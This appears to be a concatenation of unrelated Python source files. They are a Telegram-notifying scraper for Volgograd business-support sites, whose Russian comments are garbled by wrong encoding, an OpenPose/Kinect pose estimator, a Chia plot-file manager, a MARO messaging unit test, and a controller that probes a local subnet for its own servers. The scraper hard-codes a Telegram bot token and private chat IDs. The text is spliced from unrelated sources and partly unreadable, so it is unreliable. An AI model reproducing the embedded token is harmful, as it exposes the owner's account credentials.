'''' ะฟะพัั‚ ะฟั€ะพ ั€ะตะณัƒะปัั€ะบะธ https://habr.com/ru/post/349860/ ั‚ะตัั‚ะตั€ ั€ะตะณัƒะปัั€ะพะบ https://regex101.com/r/ ะดะพะบัƒะผะตะฝั‚ะฐั†ะธั ะฑั https://www.crummy.com/software/BeautifulSoup/bs4/doc/ ''' # ะฟั€ะธะผะตั€ ะธัะฟะพะปัŒะทะพะฒะฐะฝะธั ั„ะปะฐะถะบะฐ # import time # done_flag=False # while done_flag==False: # try: # print("stuff done") # done_flag=True # except: # print('stuff not done. Waiting') # time.sleep(1) #autorun #C:\Users\wital\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup import urllib.request import urllib.request from bs4 import BeautifulSoup import re import os import time #from threading import Thread from multiprocessing import Process import ast vitalaChat = 345373872 nasyaChat = '377477531' # url_link = 'http://mspvolga.ru/zakupki/' #ะดะปั ั‚ะตัั‚ะพะฒ #nasyaChat = 345373872 #url_link = "HTML_ัั‚ั€ะฐะฝะธั†ะฐ.html" #ัƒะฝะธะฒะตั€ัะฐะปัŒะฝะฐั ั„ัƒะฝะบั†ะธั ะดะปั ะพั‚ะบั€ั‹ั‚ะธั ัั‚ั€ะฐะฝะธั† ะฒ ะธะฝั‚ะตั€ะฝะตั‚ะต ะธะปะธ ะฝะฐ ะปะพะบะฐะปัŒะฝะพะน ะผะฐัˆะธะฝะต ะฒ ะทะฐะฒะธัะธะผะพัั‚ะธ ะพั‚ ะฝะฐะทะฒะฐะฝะธั. def get_html(url): if bool(re.search('[ะฐ-ัะ-ะฏ]', url)): response = open(url, encoding='utf-8').read() print("local_open") return response else: #headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36'} response = urllib.request.urlopen(url)#, headers) print("INTERNET_OPEN!") return response.read() def msp_volg_parser(url): html = get_html(url) soup = BeautifulSoup(html, features="html.parser") # print(soup.prettify()) table1 = soup.find('div', class_="grid gap-md margin-top-md") offers = table1 list = [] pattern = r'$' pattern1 = r'\n' table1 = offers.find_all('h4') for each in table1: # print(each) link = each.find('a').get('href')# text = each.find('a').get_text() link =re.sub(pattern,' ', link, count=0) text =re.sub(pattern,' ', text, count=0) text =re.sub(pattern1,' ', text, count=0) list.append(text+'\n'+"http://mspvolga.ru"+link) return list def cppvlg_parse(url): html = get_html(url) soup = BeautifulSoup(html, features="html.parser") # print(soup.prettify()) table1 = soup.find(class_="items row") table2 = table1.find_all("div", class_="title") table3 = [] for each in table2: link = each.find('a').get('href') text = each.find('a').get_text() # print(link) # print(text) table3.append(str(text+'\n'+"http://cppvlg.ru"+link)) return table3 def ciss_parse(url): html = get_html(url) soup = BeautifulSoup(html, features="html.parser") # print(soup.prettify()) table1 = soup.find_all("div", class_="col-lg-6 col-xl-4" ) table3 = [] # print(table1) for each in table1: link = each.find('a').get('href') # table3.append(link) head = each.find('h6', class_="header").get_text() # table3.append(head) text = each.find('div', class_="desc").get_text() table3.append(str(head)+"\n"+str(link)+"\n"+str(text)) pattern2 = r' +' pattern3 = r'\n' for each in table3: v1= re.sub(pattern3,r" ", each) table3[table3.index(each)] = re.sub(pattern2,r" ", v1) table4 =[] pattern4 = r'ัะฑะพั€' pattern5 = r'ะบะพะผะผะตั€ั‡' pattern6 = r'ะฟั€ะตะดะป' for each in table3: if re.search(pattern4, each, flags=re.IGNORECASE) or re.search(pattern5, each, flags=re.IGNORECASE) or re.search(pattern6, each, flags=re.IGNORECASE): table4.append(each) return table4 #ะฟั€ะพะฒะตั€ะบะฐ ะฝะฐ ั‚ะพ, ะฟั€ะพั‰ะปะพ ะปะธ ะฝะตะพะฑั…ะพะดะธะผะพะต ะบะพะปะธั‡ะตัั‚ะฒะพ ะฒั€ะตะผะตะฝะธ ั ะผะพะผะตะฝั‚ะฐ ะฟั€ะพัˆะปะพะน ะพั‚ะฟั€ะฐะฒะบะธ ะพะฑะฝะพะฒะปะตะฝะธะน def is_it_time(): upd_period = 25000 if os.path.exists("time_file.txt")==False: file = open("time_file.txt", "w") file.write(str(time.time())) file.close() print("created new time file") return True, upd_period else: file = open("time_file.txt", "r") last = float(file.read()) now = time.time() file.close() if now-last>upd_period: file = open("time_file.txt", "w") file.write(str(now)) file.close() print('it is time to get updates') return True, upd_period-(now-last) else: return False, upd_period-(now-last) def get_prev_list(name): if os.path.exists(name)==False: file = open(name, "w") file.write(' ') file.close() print("created new offers file") return [' '] else: file = open(name, "r") LList = file.read() file.close() LList = ast.literal_eval(LList)#ัˆั‚ัƒะบะฐ ะฟะตั€ะตะฒะพะดัั‰ะฐั ัั‚ั€ะพะบัƒ ั„ะพั€ะผะฐั‚ะฐ ะปะธัั‚ะฐ ะฒ ะปะธัั‚ return LList def upd_last_offers(LList,which): file = open(which, "w") t = str(LList) file.write(t) file.close() # ะฟั€ะพั†ะตัั ั ะฑะพั‚ะพะผ ั‚ะตะปะตะณะธ. ั‚ัƒั‚ ะพััƒั‰ะตัั‚ะฒะปัะตั‚ัั ะฟั€ะพะฒะตั€ะบะฐ ะฝะฐ ะฝะฐะปะธั‡ะธะต ะพัˆะธะฑะบะธ ัะพะตะดะธะฝะตะฝะธั, ั‚ะฐะบ ะบะฐะบ ะพะฝะฐ ะปะพะฒะธั‚ัั ั‚ะพะปัŒะบะพ ั‚ัƒั‚. ะฒ main ะพะฝะฐ ะทะฐ ะพัˆะธะฑะบัƒ ะฝะต ัั‡ะธั‚ะฐะตั‚ัั. def sender(id, text_list,waiting_time): import telebot sent = False#ั„ะปะฐะถะพะบ def aa(id, text_list,waiting_time): try: for each in text_list: bot = telebot.TeleBot("1349683616:AAGOPlMak-DrzUzrtUo_Szt1CBLecRhmuxM") print(each) bot.send_message(id, each) return True except: print("telegram bot connection EXCEPTION. Waiting", "\n", ' ') time.sleep(waiting_time) print('retry') return False while sent==False: sent = aa(id, text_list,waiting_time)#ั‚ะฐะบ ะบะฐะบ ะธะฝั‚ะตั€ะฟั€ะตั‚ะฐั‚ะพั€ ะฟะธั‚ะพะฝะฐ ััƒะบะฐ ัƒะผะฝั‹ะน, ั‚ะพ ะพะฝ ะฝะต ะฟะพะผะตะฝัะตั‚ ะฟะตั€ะตะผะตะฝะฝัƒัŽ, ะฒะตะดัŒ ะพะฝะฐ ะฝะต ะธัะฟะพะปัŒะทัƒะตั‚ัั ะฟะพั‚ะพะผ print("success of retry?: ",sent)#ะฟะพัั‚ะพะผัƒ ะฝัƒะถะฝะฐ ัั‚ะฐ ัั‚ั€ะพะบะฐ print("terminated process", os.getpid()) sent = False # ั„ัƒะฝะบั†ะธั ะฝัƒะถะฝะฐ, ั‡ั‚ะพะฑ ัะพะทะดะฐะฒะฐั‚ัŒ ัะพะตะดะธะฝะธะฝะตะฝะธะต ั ะฑะพั‚ะพะผ ะพั‚ะดะตะปัŒะฝะพ ะพั‚ ะพัั‚ะฐะปัŒะฝะพะน ะฟั€ะพะณั€ะฐะผะผั‹ ะธ ะฟั€ะตะดะพั‚ะฒั€ะฐั‰ะฐั‚ัŒ ะฝะตั‡ะฐัะฝะฝะพะต ั‚ั€ะพะณะฐะฝะธะต ั‚ะตะปะตะณั€ะฐะผะฐ. ะฟะพัะบะพะปัŒะบะพ ั‚ัƒั‚ ะฟั€ะพั†ะตัั, ั‚ะพ # ะตะณะพ ะฒ ะพั‚ะปะธั‡ะธะต ะพั‚ ะฟะพั‚ะพะบะฐ ะผะพะถะฝะพ ะทะฐะบั€ั‹ั‚ัŒ. ะดะฐะถะต ะธะผะฟะพั€ั‚ ะฑะธะฑะปะธะพั‚ะตะบะธ ะฟั€ะพะธัั…ะพะดะธั‚ ะธะทะพะปะธั€ะพะฒะฐะฝะฝะพ. ะฑะตะท ัั‚ะพะณะพ ะฑั‹ะปะฐ ะพัˆะธะฑะบะฐ def process_creator(id,text,waiting_time): pr = Process(target=sender, args=(id,text,waiting_time)) pr.start() pr.join() pr.terminate() if __name__=='__main__': waiting_time = 300 toSend_list = [] print("program started") while True: t, tt = is_it_time() if t == True: def _work(waiting_time, site, file): retry_limit = 5 not_done_flag=False send_list = [] toSend_list = [] while not_done_flag==False: try: list_offers = [] if file =="cppvlg.txt": list_offers = cppvlg_parse(site) if file == "mspvolga.txt": list_offers = msp_volg_parser(site) if file == 'ciss34.txt': list_offers = ciss_parse(site) old_list = get_prev_list(file) send_list = list(set(list_offers) - set(old_list)) upd_last_offers(list_offers, file) not_done_flag = True except Exception as e: print("site parsing exception: ", e, "\n" 'Retry in ', waiting_time / 60, " minutes") time.sleep(waiting_time) retry_limit-=1 if retry_limit<1: not_done_flag = True if send_list == []: print("notheing new at ", site) pass else: process_creator(nasyaChat, toSend_list, waiting_time) process_creator(vitalaChat, send_list, waiting_time) print(send_list) print(site, ' sent') # def cppvlg_work(waiting_time): # try: # list_offers = cppvlg_parse('http://cppvlg.ru/news-and-events/news/') # old_list = get_prev_list('cppvlg.txt') # toSend_list = list(set(list_offers) - set(old_list)) # upd_last_offers(list_offers, "cppvlg.txt") # return True, toSend_list # except Exception as e: # print("site parsing exception: ", e, "\n" 'Retry in ', waiting_time / 60, " minutes") # time.sleep(waiting_time) # return False, [] # # # def mspvolga_work(waiting_time): # try: # list_offers = msp_volg_parser('http://mspvolga.ru/zakupki/') # old_list = get_prev_list('mspvolga.txt') # toSend_list=list(set(list_offers) - set(old_list)) # upd_last_offers(list_offers,"mspvolga.txt") # return True, toSend_list # except Exception as e: # print("site parsing exception: ", e,"\n" 'Retry in ',waiting_time/60, " minutes" ) # time.sleep(waiting_time) # return False, [] # send_list = mspvolga_work(waiting_time) _work(waiting_time, 'http://cppvlg.ru/news-and-events/news/', 'cppvlg.txt') _work(waiting_time, 'http://mspvolga.ru/zakupki/', 'mspvolga.txt') _work(waiting_time, 'http://ciss34.ru/news', 'ciss34.txt') ttt = float('{:.1f}'.format(tt)) print('main waiting ' + str(int(tt / 60)) + " minutes or ~ " + str( int(ttt / 60/ 60)) + " hours untill update") time.sleep(waiting_time*6)
keypoints.py
import os import sys import argparse import time import freenect import cv2 import numpy as np import pprint from multiprocessing import Process, Queue class Pose: """Pose estimation class bridging OpenPose and Kinect Args: params: OpenPose custom params (refer to OpenPose include/openpose/flags.hpp for more parameters) camera: kinect camera device index (default: 0) model_path: path to OpenPose models installed directory (default: models/) """ def __init__(self, params: dict={}, camera: int=0, model_path: str='/home/richard/Desktop/openpose/models/'): try: sys.path.append('/usr/local/python') from openpose import pyopenpose as op self.op = op except ImportError as e: print('Error: OpenPose library could not be found. Did you enable `BUILD_PYTHON` \ in CMake and have this Python script in the right folder?') raise e if not params: # Set default parameters for Olin laptops params["net_resolution"] = "-1x160" params["model_pose"] = "COCO" params["tracking"] = "1" params["number_people_max"] = "1" params["part_candidates"] = True self.params = params # Add model path self.params["model_folder"] = model_path self.camera = camera def get_video(self) -> np.ndarray: """Get RGB image from the kinect Returns: numpy array of RGB image """ array, _ = freenect.sync_get_video() array = cv2.cvtColor(array, cv2.COLOR_RGB2BGR) array = cv2.flip(array, 1) return array def get_depth(self, format=freenect.DEPTH_REGISTERED) -> np.ndarray: """Get depth from the kinect Args: format: kinect depth format (default: DEPTH_REGISTERED, produces distance in millimeters where (x,y) of depth matches (x,y) of video) Returns: numpy array of depth image """ array, _ = freenect.sync_get_depth(format=format) return array def jointPoints(self, keypoints, depths: np.ndarray, confidenceThreshold: int=.6) -> dict: """Determine joint point cloud Args: keypoints: OpenPose posecandidates keypoints depths: depth image confidenceThreshold: any joint above this value is considered (default: .6) Returns: dict of joint dictonaries with point cloud (meters) and image coordinates """ COCO_OUTPUT = ['Nose', 'Neck', 'Rsho', 'Relb', 'Rwri', 'Lsho', 'Lelb', 'Lwri','Rhip',\ 'Rkne', 'Rank', 'Lhip', 'Lkne', 'Lank', 'Leye', 'Reye', 'Lear', 'Rear'] joints = {} for idx, joint in enumerate(np.asarray(keypoints)): coords = np.asarray(joint[0][0:2]).astype(int) \ if len(joint) > 0 and joint[0][2] > confidenceThreshold else [] # Ignore empty joints if not len(coords): joints[COCO_OUTPUT[idx]] = {} continue # Known openpose bug where it predicts outside frame dimensions if coords[0] > 640 and coords[1] > 480: print('DEBUG: Openpose predicted joint out of frame') joints[COCO_OUTPUT[idx]] = {} continue # Numpy array order is row, col -> y, x wz = depths[coords[1], coords[0]] # Ignore joints not in depth thresholds if wz == 0: joints[COCO_OUTPUT[idx]] = {} continue # Get x and y in world coordinates in mm wx, wy = freenect.camera_to_world(coords[0], coords[1], wz, self.camera) joints[COCO_OUTPUT[idx]] = {'pc': (round(wx/1000, 2), round(wy/1000, 2), wz/1000), 'xy': (coords[0], coords[1])} return joints def launch(self, queue, DEBUG: bool=False): q = queue p = Process(target=self.runloop, args=(q, DEBUG)) return p def runloop(self, queue: Queue, DEBUG: bool): """Start running the pose estimation Enqueue current frame's joint information Args: queue: Queue object to hold joint information DEBUG: when true displays kinect RGB and Depth frames with joints superimposed """ # Starting OpenPose opWrapper = self.op.WrapperPython() opWrapper.configure(self.params) opWrapper.start() while True: img = self.get_video() # Process Image datum = self.op.Datum() datum.cvInputData = img opWrapper.emplaceAndPop([datum]) keypoints = datum.poseCandidates depths = self.get_depth() joints = self.jointPoints(keypoints, depths) queue.put(joints) if DEBUG: # Render OpenPose frame im = datum.cvOutputData # Display joint values font = cv2.FONT_HERSHEY_SIMPLEX for name, joint in joints.items(): if joint: cv2.putText(im, str(joint['pc']), joint['xy'], font, .5, (0, 255, 0), 1, cv2.LINE_AA) cv2.imshow('Pose Estimation', im) cv2.imshow('Depth image', depths.astype(np.uint8)) key = cv2.waitKey(1) if key == ord('q'): break if DEBUG: cv2.destroyAllWindows() if __name__ == '__main__': joints = Queue() keypoints_proc = Pose().launch(joints, DEBUG=False) print('Starting pose detection process') keypoints_proc.start() while True: # Get most recent joints point cloud if not joints.empty(): jointsFrame = joints.get() pprint.pprint(jointsFrame) if not keypoints_proc.is_alive(): print('Pose detection process killed') break
manager.py
from dataclasses import dataclass import logging import threading import time import traceback from pathlib import Path from typing import Any, Callable, Dict, List, Optional, Set, Tuple from concurrent.futures.thread import ThreadPoolExecutor from blspy import G1Element from chiapos import DiskProver from chia.consensus.pos_quality import UI_ACTUAL_SPACE_CONSTANT_FACTOR, _expected_plot_size from chia.plotting.util import ( PlotInfo, PlotRefreshResult, PlotsRefreshParameter, get_plot_filenames, parse_plot_info, stream_plot_info_pk, stream_plot_info_ph, ) from chia.util.ints import uint16 from chia.util.path import mkdir from chia.util.streamable import Streamable, streamable from chia.types.blockchain_format.proof_of_space import ProofOfSpace from chia.types.blockchain_format.sized_bytes import bytes32 from chia.wallet.derive_keys import master_sk_to_local_sk log = logging.getLogger(__name__) CURRENT_VERSION: uint16 = uint16(0) @dataclass(frozen=True) @streamable class CacheEntry(Streamable): pool_public_key: Optional[G1Element] pool_contract_puzzle_hash: Optional[bytes32] plot_public_key: G1Element @dataclass(frozen=True) @streamable class DiskCache(Streamable): version: uint16 data: List[Tuple[bytes32, CacheEntry]] class Cache: _changed: bool _data: Dict[bytes32, CacheEntry] def __init__(self, path: Path): self._changed = False self._data = {} self._path = path if not path.parent.exists(): mkdir(path.parent) def __len__(self): return len(self._data) def update(self, plot_id: bytes32, entry: CacheEntry): self._data[plot_id] = entry self._changed = True def remove(self, cache_keys: List[bytes32]): for key in cache_keys: if key in self._data: del self._data[key] self._changed = True def save(self): try: disk_cache: DiskCache = DiskCache( CURRENT_VERSION, [(plot_id, cache_entry) for plot_id, cache_entry in self.items()] ) serialized: bytes = bytes(disk_cache) self._path.write_bytes(serialized) self._changed = False log.info(f"Saved {len(serialized)} bytes of cached data") except Exception as e: log.error(f"Failed to save cache: {e}, {traceback.format_exc()}") def load(self): try: serialized = self._path.read_bytes() log.info(f"Loaded {len(serialized)} bytes of cached data") stored_cache: DiskCache = DiskCache.from_bytes(serialized) if stored_cache.version != CURRENT_VERSION: # TODO, Migrate or drop current cache if the version changes. raise ValueError(f"Invalid cache version {stored_cache.version}. Expected version {CURRENT_VERSION}.") self._data = {plot_id: cache_entry for plot_id, cache_entry in stored_cache.data} except FileNotFoundError: log.debug(f"Cache {self._path} not found") except Exception as e: log.error(f"Failed to load cache: {e}, {traceback.format_exc()}") def keys(self): return self._data.keys() def items(self): return self._data.items() def get(self, plot_id): return self._data.get(plot_id) def changed(self): return self._changed def path(self): return self._path class PlotManager: plots: Dict[Path, PlotInfo] plot_filename_paths: Dict[str, Tuple[str, Set[str]]] plot_filename_paths_lock: threading.Lock failed_to_open_filenames: Dict[Path, int] no_key_filenames: Set[Path] farmer_public_keys: List[G1Element] pool_public_keys: List[G1Element] cache: Cache match_str: Optional[str] show_memo: bool open_no_key_filenames: bool last_refresh_time: float refresh_parameter: PlotsRefreshParameter log: Any _lock: threading.Lock _refresh_thread: Optional[threading.Thread] _refreshing_enabled: bool _refresh_callback: Callable def __init__( self, root_path: Path, refresh_callback: Callable, match_str: Optional[str] = None, show_memo: bool = False, open_no_key_filenames: bool = False, refresh_parameter: PlotsRefreshParameter = PlotsRefreshParameter(), ): self.root_path = root_path self.plots = {} self.plot_filename_paths = {} self.plot_filename_paths_lock = threading.Lock() self.failed_to_open_filenames = {} self.no_key_filenames = set() self.farmer_public_keys = [] self.pool_public_keys = [] self.cache = Cache(self.root_path.resolve() / "cache" / "plot_manager.dat") self.match_str = match_str self.show_memo = show_memo self.open_no_key_filenames = open_no_key_filenames self.last_refresh_time = 0 self.refresh_parameter = refresh_parameter self.log = logging.getLogger(__name__) self._lock = threading.Lock() self._refresh_thread = None self._refreshing_enabled = False self._refresh_callback = refresh_callback # type: ignore def __enter__(self): self._lock.acquire() def __exit__(self, exc_type, exc_value, exc_traceback): self._lock.release() def set_refresh_callback(self, callback: Callable): self._refresh_callback = callback # type: ignore def set_public_keys(self, farmer_public_keys: List[G1Element], pool_public_keys: List[G1Element]): self.farmer_public_keys = farmer_public_keys self.pool_public_keys = pool_public_keys def public_keys_available(self): return len(self.farmer_public_keys) and len(self.pool_public_keys) def plot_count(self): with self: return len(self.plots) def get_duplicates(self): result = [] for plot_filename, paths_entry in self.plot_filename_paths.items(): _, duplicated_paths = paths_entry for path in duplicated_paths: result.append(Path(path) / plot_filename) return result def needs_refresh(self) -> bool: return time.time() - self.last_refresh_time > float(self.refresh_parameter.interval_seconds) def start_refreshing(self): self._refreshing_enabled = True if self._refresh_thread is None or not self._refresh_thread.is_alive(): self.cache.load() self._refresh_thread = threading.Thread(target=self._refresh_task) self._refresh_thread.start() def stop_refreshing(self): self._refreshing_enabled = False if self._refresh_thread is not None and self._refresh_thread.is_alive(): self._refresh_thread.join() self._refresh_thread = None def trigger_refresh(self): log.debug("trigger_refresh") self.last_refresh_time = 0 def _refresh_task(self): while self._refreshing_enabled: while not self.needs_refresh() and self._refreshing_enabled: time.sleep(1) plot_filenames: Dict[Path, List[Path]] = get_plot_filenames(self.root_path) plot_directories: Set[Path] = set(plot_filenames.keys()) plot_paths: List[Path] = [] for paths in plot_filenames.values(): plot_paths += paths total_result: PlotRefreshResult = PlotRefreshResult() while self.needs_refresh() and self._refreshing_enabled: batch_result: PlotRefreshResult = self.refresh_batch(plot_paths, plot_directories) total_result.loaded += batch_result.loaded total_result.removed += batch_result.removed total_result.processed += batch_result.processed total_result.remaining = batch_result.remaining total_result.duration += batch_result.duration self._refresh_callback(batch_result) if batch_result.remaining == 0: break batch_sleep = self.refresh_parameter.batch_sleep_milliseconds self.log.debug(f"refresh_plots: Sleep {batch_sleep} milliseconds") time.sleep(float(batch_sleep) / 1000.0) # Cleanup unused cache available_ids = set([plot_info.prover.get_id() for plot_info in self.plots.values()]) invalid_cache_keys = [plot_id for plot_id in self.cache.keys() if plot_id not in available_ids] self.cache.remove(invalid_cache_keys) self.log.debug(f"_refresh_task: cached entries removed: {len(invalid_cache_keys)}") if self.cache.changed(): self.cache.save() self.last_refresh_time = time.time() self.log.debug( f"_refresh_task: total_result.loaded {total_result.loaded}, " f"total_result.removed {total_result.removed}, " f"total_duration {total_result.duration:.2f} seconds" ) def refresh_batch(self, plot_paths: List[Path], plot_directories: Set[Path]) -> PlotRefreshResult: start_time: float = time.time() result: PlotRefreshResult = PlotRefreshResult() counter_lock = threading.Lock() log.debug(f"refresh_batch: {len(plot_paths)} files in directories {plot_directories}") if self.match_str is not None: log.info(f'Only loading plots that contain "{self.match_str}" in the file or directory name') def process_file(file_path: Path) -> Optional[PlotInfo]: filename_str = str(file_path) if self.match_str is not None and self.match_str not in filename_str: return None if not file_path.exists(): return None if ( file_path in self.failed_to_open_filenames and (time.time() - self.failed_to_open_filenames[file_path]) < self.refresh_parameter.retry_invalid_seconds ): # Try once every `refresh_parameter.retry_invalid_seconds` seconds to open the file return None if file_path in self.plots: return self.plots[file_path] entry: Optional[Tuple[str, Set[str]]] = self.plot_filename_paths.get(file_path.name) if entry is not None: loaded_parent, duplicates = entry if str(file_path.parent) in duplicates: log.debug(f"Skip duplicated plot {str(file_path)}") return None try: with counter_lock: if result.processed >= self.refresh_parameter.batch_size: result.remaining += 1 return None result.processed += 1 prover = DiskProver(str(file_path)) log.debug(f"process_file {str(file_path)}") expected_size = _expected_plot_size(prover.get_size()) * UI_ACTUAL_SPACE_CONSTANT_FACTOR stat_info = file_path.stat() # TODO: consider checking if the file was just written to (which would mean that the file is still # being copied). A segfault might happen in this edge case. if prover.get_size() >= 30 and stat_info.st_size < 0.98 * expected_size: log.warning( f"Not farming plot {file_path}. Size is {stat_info.st_size / (1024**3)} GiB, but expected" f" at least: {expected_size / (1024 ** 3)} GiB. We assume the file is being copied." ) return None cache_entry = self.cache.get(prover.get_id()) if cache_entry is None: ( pool_public_key_or_puzzle_hash, farmer_public_key, local_master_sk, ) = parse_plot_info(prover.get_memo()) # Only use plots that correct keys associated with them if farmer_public_key not in self.farmer_public_keys: log.warning(f"Plot {file_path} has a farmer public key that is not in the farmer's pk list.") self.no_key_filenames.add(file_path) if not self.open_no_key_filenames: return None pool_public_key: Optional[G1Element] = None pool_contract_puzzle_hash: Optional[bytes32] = None if isinstance(pool_public_key_or_puzzle_hash, G1Element): pool_public_key = pool_public_key_or_puzzle_hash else: assert isinstance(pool_public_key_or_puzzle_hash, bytes32) pool_contract_puzzle_hash = pool_public_key_or_puzzle_hash if pool_public_key is not None and pool_public_key not in self.pool_public_keys: log.warning(f"Plot {file_path} has a pool public key that is not in the farmer's pool pk list.") self.no_key_filenames.add(file_path) if not self.open_no_key_filenames: return None local_sk = master_sk_to_local_sk(local_master_sk) plot_public_key: G1Element = ProofOfSpace.generate_plot_public_key( local_sk.get_g1(), farmer_public_key, pool_contract_puzzle_hash is not None ) cache_entry = CacheEntry(pool_public_key, pool_contract_puzzle_hash, plot_public_key) self.cache.update(prover.get_id(), cache_entry) with self.plot_filename_paths_lock: paths: Optional[Tuple[str, Set[str]]] = self.plot_filename_paths.get(file_path.name) if paths is None: paths = (str(Path(prover.get_filename()).parent), set()) self.plot_filename_paths[file_path.name] = paths else: paths[1].add(str(Path(prover.get_filename()).parent)) log.warning(f"Have multiple copies of the plot {file_path.name} in {[paths[0], *paths[1]]}.") return None new_plot_info: PlotInfo = PlotInfo( prover, cache_entry.pool_public_key, cache_entry.pool_contract_puzzle_hash, cache_entry.plot_public_key, stat_info.st_size, stat_info.st_mtime, ) with counter_lock: result.loaded += 1 if file_path in self.failed_to_open_filenames: del self.failed_to_open_filenames[file_path] except Exception as e: tb = traceback.format_exc() log.error(f"Failed to open file {file_path}. {e} {tb}") self.failed_to_open_filenames[file_path] = int(time.time()) return None log.info(f"Found plot {file_path} of size {new_plot_info.prover.get_size()}") if self.show_memo: plot_memo: bytes32 if pool_contract_puzzle_hash is None: plot_memo = stream_plot_info_pk(pool_public_key, farmer_public_key, local_master_sk) else: plot_memo = stream_plot_info_ph(pool_contract_puzzle_hash, farmer_public_key, local_master_sk) plot_memo_str: str = plot_memo.hex() log.info(f"Memo: {plot_memo_str}") return new_plot_info with self, ThreadPoolExecutor() as executor: # First drop all plots we have in plot_filename_paths but not longer in the filesystem or set in config def plot_removed(test_path: Path): return not test_path.exists() or test_path.parent not in plot_directories with self.plot_filename_paths_lock: filenames_to_remove: List[str] = [] for plot_filename, paths_entry in self.plot_filename_paths.items(): loaded_path, duplicated_paths = paths_entry if plot_removed(Path(loaded_path) / Path(plot_filename)): filenames_to_remove.append(plot_filename) result.removed += 1 # No need to check the duplicates here since we drop the whole entry continue paths_to_remove: List[str] = [] for path in duplicated_paths: if plot_removed(Path(path) / Path(plot_filename)): paths_to_remove.append(path) result.removed += 1 for path in paths_to_remove: duplicated_paths.remove(path) for filename in filenames_to_remove: del self.plot_filename_paths[filename] plots_refreshed: Dict[Path, PlotInfo] = {} for new_plot in executor.map(process_file, plot_paths): if new_plot is not None: plots_refreshed[Path(new_plot.prover.get_filename())] = new_plot self.plots = plots_refreshed result.duration = time.time() - start_time self.log.debug( f"refresh_batch: loaded {result.loaded}, " f"removed {result.removed}, processed {result.processed}, " f"remaining {result.remaining}, batch_size {self.refresh_parameter.batch_size}, " f"duration: {result.duration:.2f} seconds" ) return result
test_decorator.py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import subprocess import sys import threading import unittest from concurrent.futures import ThreadPoolExecutor, as_completed from maro.communication import Proxy, SessionMessage, dist from utils import get_random_port, proxy_generator def handler_function(that, proxy, message): replied_payload = {"counter": message.payload["counter"] + 1} proxy.reply(message, payload=replied_payload) sys.exit(0) def lunch_receiver(handler_dict, redis_port): proxy = proxy_generator("receiver", redis_port) @dist(proxy, handler_dict) class Receiver: def __init__(self): pass receiver = Receiver() receiver.launch() @unittest.skipUnless(os.environ.get("test_with_redis", False), "require redis") class TestDecorator(unittest.TestCase): @classmethod def setUpClass(cls): print(f"The dist decorator unit test start!") # Initial Redis. redis_port = get_random_port() cls.redis_process = subprocess.Popen(["redis-server", "--port", str(redis_port), "--daemonize yes"]) cls.redis_process.wait() # Initial receiver. conditional_event = "sender:*:1" handler_dict = {conditional_event: handler_function} decorator_task = threading.Thread(target=lunch_receiver, args=(handler_dict, redis_port, )) decorator_task.start() # Initial sender proxy. with ThreadPoolExecutor() as executor: sender_task = executor.submit(proxy_generator, "sender", redis_port) cls.sender_proxy = sender_task.result() @classmethod def tearDownClass(cls) -> None: print(f"The dist decorator unit test finished!") if hasattr(cls, "redis_process"): cls.redis_process.kill() def test_decorator(self): message = SessionMessage(tag="unittest", source=TestDecorator.sender_proxy.component_name, destination=TestDecorator.sender_proxy.peers["receiver"][0], payload={"counter": 0}) replied_message = TestDecorator.sender_proxy.send(message) self.assertEqual(message.payload["counter"]+1, replied_message[0].payload["counter"]) if __name__ == "__main__": unittest.main()
LocalServerController.py
__author__ = 'Edward J. C. Ashenbert' __credits__ = ["Edward J. C. Ashenbert"] __maintainer__ = "Edward J. C. Ashenbert" __email__ = "nguyenquangbinh803@gmail.com" __copyright__ = "Copyright 2020" __status__ = "Working on demo in Can Tho city" __version__ = "1.1.0" import sys import os sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) import threading import uuid from datetime import datetime import requests class LocalServerController: def __init__(self): self.diagnostic_logging("Start local server controller") self.available_layer1_server = [] self.list_of_layer1_server_identification = [] self.scan_layer_1_server() def diagnostic_logging(self, message): print("[LocalServerController]", "[" + datetime.now().strftime("%Y%m%d_%H%M%S%f") + "]", message) def scan_layer_1_server(self): self.diagnostic_logging("Start scan procedure") # threading.Thread(target=self.scan_layer_1_server_procedure).start() index = 0 for i in range(1, 2): for j in range(255): self.layer1_server_identification = dict.fromkeys(["server_name", "ip_address", "devices"]) try: ip_address = "http://192.168." + str(i) + "." + str(j) + ":5000/" res = requests.get(ip_address, timeout=0.01) if res.ok: self.layer1_server_identification["ip_address"] = ip_address self.layer1_server_identification["server_name"] = str(uuid.uuid1()) self.list_of_layer1_server_identification.append(self.layer1_server_identification) index += 1 except Exception as exp: self.diagnostic_logging(str(exp)) self.diagnostic_logging("Done scanning layer 1 server") self.diagnostic_logging(self.list_of_layer1_server_identification) def scan_layer_1_server_procedure(self): index = 0 for i in range(1, 2): for j in range(255): self.layer1_server_identification = dict.fromkeys(["server_name", "ip_address", "devices"]) try: ip_address = "http://192.168." + str(i) + "." + str(j) + ":5000/" res = requests.get(ip_address, timeout=0.01) if res.ok: self.layer1_server_identification["ip_address"] = ip_address self.layer1_server_identification["server_name"] = str(uuid.uuid1()) self.list_of_layer1_server_identification.append(self.layer1_server_identification) index += 1 except Exception as exp: self.diagnostic_logging(str(exp)) self.diagnostic_logging("Done scanning layer 1 server") self.diagnostic_logging(self.list_of_layer1_server_identification) def scan_all_device_of_layer1_server(self): self.diagnostic_logging("Start scan all device in each layer 1 server") for index, layer1_server in enumerate(self.list_of_layer1_server_identification): request_message = "get_devices_info" response = requests.get(layer1_server["ip_address"] + request_message, timeout=1) if response.ok: self.diagnostic_logging("Query succeed") self.list_of_layer1_server_identification[index]["devices"] = response.json()["devices"] # self.diagnostic_logging(self.list_of_layer1_server_identification) else: self.diagnostic_logging("Query failed") self.diagnostic_logging("Finished scan layer 1 server devices") def send_ultimate_command(self, command): for ip_address in self.layer1_server_identification["ip_address"]: requests.get(ip_address, timeout=0.01) import time def request_1(local_server_controller): while True: local_server_controller.scan_all_device_of_layer1_server() print(threading.current_thread().ident) time.sleep(0.002) def request_2(local_server_controller): while True: local_server_controller.scan_all_device_of_layer1_server() print(threading.current_thread().ident) # time.sleep(0.002) def request_3(local_server_controller): while True: local_server_controller.scan_all_device_of_layer1_server() print(threading.current_thread().ident) # time.sleep(0.002) if __name__ == "__main__": local_server_controller = LocalServerController() threading.Thread(target=request_1, args=[local_server_controller, ]).start() 